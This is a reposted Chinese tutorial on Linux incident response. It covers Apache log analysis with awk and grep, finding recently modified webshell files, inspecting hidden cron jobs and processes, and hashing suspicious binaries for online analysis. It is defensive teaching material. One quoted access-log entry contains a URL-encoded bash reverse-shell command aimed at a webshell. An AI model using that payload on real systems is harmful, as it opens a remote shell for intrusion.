基于Linux应急响应全流程

admin 2024年5月31日09:26:00评论4 views字数 3764阅读12分32秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

来源:先知社区,作者:1096997518662234

原文:https://xz.aliyun.com/t/14596

现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安设为星标”,否则可能看不到了

前言

此次Linux应急响应文章主要给大家分享一下具体流程和步骤,以及实际操作起来的流程和踩过的坑,可能大家知道这么操作但是习惯性的遗忘。思路需要,但是思路有,实际操作却跟不上,思路这不亚于纸上谈兵。

如果文章有说的不对或者不够完整的希望大家补充。

目标信息情况

当我们去甲方客户现场做应急响应时,啥也没有,首先要了解目标主机网站部署结构,比如说中间件是否是apache,语言是否是PHP,网站性质是否是CMS还是OA等,在这基础上再进行下一步的操作。

通过询问客户人员信息或者根据自行判定,比如说使用netstat -anultp查看服务信息,发现apache,说明这是一个apache的服务器。
基于Linux应急响应全流程
通过上述我们确定了apache的服务我们可以知道一般apache日志都是再/var/log下面,我们也可以使用ps -aux |grep -i apache查看是否是apache并且该服务用户发现是www-data
基于Linux应急响应全流程

日志确定

所以我们可以直接去寻找apache的日志,/var/log下,可能apache日志再改路径下也可能在下一级路径/var/log/apache2/下面,这个就可以根据平时自己的经验判断,总而言之反正在/var/log下就对了,大家一定要注意,输入命令ls时一定要把-a参数敲上,显示所有文件,因为有的文件隐藏了说不定就因为粗心没有带上-a参数导致漏洞文件信息等

基于Linux应急响应全流程

我们也可以通过ls -alt参数根据时间顺序列出该目录下的所有文件,这个也是很有必要的

基于Linux应急响应全流程

日志分析

通过上述图片也可以发现业务量特别大,我们使用cat access.log.1 | wc -l发现存在9272条

基于Linux应急响应全流程
当我们通过上图的一系列命令进行定位和日志判断以及文件数据内容大小判断发现非常大,如果我们一个一个查那太费时间了,所以我们可以使用grep加|的方式进行简化日志,但是在这其中你可能会发现grep只能发现一些数据,就不能回显所有正则匹配的方式,我大概猜测是字节流的原因,这个没有仔细去深究过,所以我们需要使用如下命令,如果你实在没有办法你也可以把文件导入到notepad++或者visual code里面Ctrl+f来查找,反正这个思路很多的。
cat -e access.log.1 | grep 1.phpcat access.log.1 | grep -a 1.php
基于Linux应急响应全流程
192.168.1.7 - - [24/Apr/2022:15:27:32 +0000] "GET /data/avatar/1.php?2022=bash%20-i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1 HTTP/1.1" 200 242 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"$
通过上述一条日志我们可以知道格式为:
访问者ip 时间 请求头 请求路径 URL http版本 状态码  长度user-agent头
通过上述文件我们可以使用awk命令进行正则匹配来过滤出我们想要的数据,比如说我们需要知道访问者ip,那么我们可以使用如下命令进行筛选
awk '{print $1}' access.log.1   此命令为匹配字段为1的数据并只显示字段为1的数据
通过上述命令我们筛选出所有的IP

基于Linux应急响应全流程

我们还可以使用如下命令对所有IP请求次数进行行数展示并且进行sort排序
awk '{print $1}' access.log.1 | sort | uniq -cuniq是行数展示sort默认进行ASCII排序
基于Linux应急响应全流程
通过上述IP发现192.168.1.7访问量非常大,所以很可能是异常IP。

我们可以使用如下命令来查看日志时间记录跨度和间隔时间

head -n 1 access.log.1 | tail -2 access.log.1
基于Linux应急响应全流程
使用如下命令可以把192.168.1.7的日志全部筛掉
awk '{print $1}' access.log.1 | grep -v 192.168.1.7grep -v 反选目标
基于Linux应急响应全流程
我们使用如下命令即可把选取我们所需要的字段打印在页面
awk '{print $1 $4 $7}' access.log.1 | grep -v 192.168.1.7
基于Linux应急响应全流程
我们再使用wc命令来查看还剩下多少IP
awk '{print $1 $4 $7}' access.log.1 | grep -v 192.168.1.7 | wc -l
基于Linux应急响应全流程

通过上述方法我们就可以对不要的日志或者重要的日志进行简化处理,这样我们在进行下一步处理的时候会方便许多。

比如说我们使用用下条命令查看/user,然后我们获取到了具体的IP和时间路径等信息,通过该信息再去比如说企业上面的设备告警信息进行相应的匹配我们就可以相对容易的查找到我们想要的信息
awk '{print $1 $4 $7}' access.log.1 | grep -i 192.168.1.5 | grep "/user"
基于Linux应急响应全流程

时间特征分析

我们通过上述情况我们就可以针对时间去查看在这段时间内文件上传的情况,比如说我们查看日志时间是在24小时内,那么我们就可以使用如下命令来查找该时间段的php文件(这个我才创建的,只是为了让大家看到效果)

find /var/www/html/ -mtime 0 -name "*.php"
基于Linux应急响应全流程
我们通过stat来判断文件时间信息,当我们再用echo进行重新写入的时候发现文件时间更改了,这里是要注意的点,因为我们有时候需要保证文件时间信息,当你查看文件或者误操作导致文件时间进行了修改那么可能对于对文件判断会有一些操作花费更多的时间,所以这里需要注意。
基于Linux应急响应全流程
这里可能又会一些细节,比如说我们对文件进行正则匹配的时候可能攻击者并不是php后缀,而是php3,php5,phtml后缀,我们这时候可以进行前后通配符来正则匹配
find /var/www/html/ -mtime 0 -name "*.ph*"
基于Linux应急响应全流程
但是上述这种情况我们是通过时间特征,并且时间跨度不长,如果我们这个php文件发现是在三五天过后那么我们再使用该命令可能效果不显著,因为你再这几天内文件变更情况很多,可能列出许多的其他非木马的php文件。

基于时间特征还可以进行目录的查看我们通过ls -alt发现目录时间变更最近的data目录

基于Linux应急响应全流程
我们使用cd切换进data目录发现又两个文件变更时间是最靠前的,一个是sessions和avatar,sessions猜测是因为登录行为导致文件一直变更,avatar文件我们不清楚可以cd进去进行查看发现存在1.php文件并且文件变更时间是最近的我们cat一下发现确实是一句话木马文件,我们如果害怕对文件内容不小心做出修改我们也可以使用如下命令进行文件备份操作,使用chattr进行文件锁死,防止文件传播复制。
cp 1.php 1.php.bakchattr -i 1.php.bak
基于Linux应急响应全流程
基于Linux应急响应全流程

工具查杀

看到webshell文件时我们需要和客户说我们需要进行查杀可能需要进行webshell查杀工具上传至服务器,这一步一定要和客户说,不能私自上传工具。

webshell后门使用河马查杀

./hm scan /var/www/html/cat result.csv
基于Linux应急响应全流程

定时任务

我们查看定时任务发现存在一个隐藏目录,像一般存在隐藏目录的基本上都会存在问题,所以大家对于ls -alt命令一定要牢记于心不要省略。

注意:有时候定时任务做了隐藏我们可以使用-e参数进入日志文件查看,这样即使隐藏任务也能发现

crontab -lcrontab -e
基于Linux应急响应全流程
进入定时任务文件查看隐藏任务计划
基于Linux应急响应全流程
隐藏文件.mal查看
基于Linux应急响应全流程

进程

当定时任务里面没有恶意文件或者没有定时任务我们可以使用ps进行查看,绝大部分的执行文件运维管理员一般都不会直接./直接执行,很少有bash人员直接使用bash执行。
ps -aux | grep  "./"
基于Linux应急响应全流程
hash文件检测
当我们无法获取到文件信息,可能是二进制,我们通过Linux下载到本机可能客户不允许,这种情况我们可以使用sha256num进行hash值获取,然后使用在线威胁平台进行hash样本分析。也可以使用浏览器去网上搜索该文件名,还可以使用Info来查看文件信息,发现存在后门shell
sha256sum prismprism Info
使用sha256sum get执行文件hash值
基于Linux应急响应全流程
使用virscan进行hash分析
基于Linux应急响应全流程
使用微步在线云沙箱进行分析
基于Linux应急响应全流程
使用Inf0命令查看文件恶意形式
基于Linux应急响应全流程
浏览器搜索后门是否存在
基于Linux应急响应全流程

总结

我们通过上述的一部分应急响应操作可以让大家对实际流程有一个大概,但是其中还有许多的操作,比如二进制或者可执行文件elf,so,out文件,还有rpm包投毒检查,内核检查,自启动项等。

大家可以参考一下,如果有时间也可以具体实践一下,因为思路跟上了可能命令等不熟悉等等情况存在。

原文始发于微信公众号(潇湘信安):基于Linux应急响应全流程

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月31日09:26:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于Linux应急响应全流程https://cn-sec.com/archives/2787081.html

发表评论

匿名网友 填写信息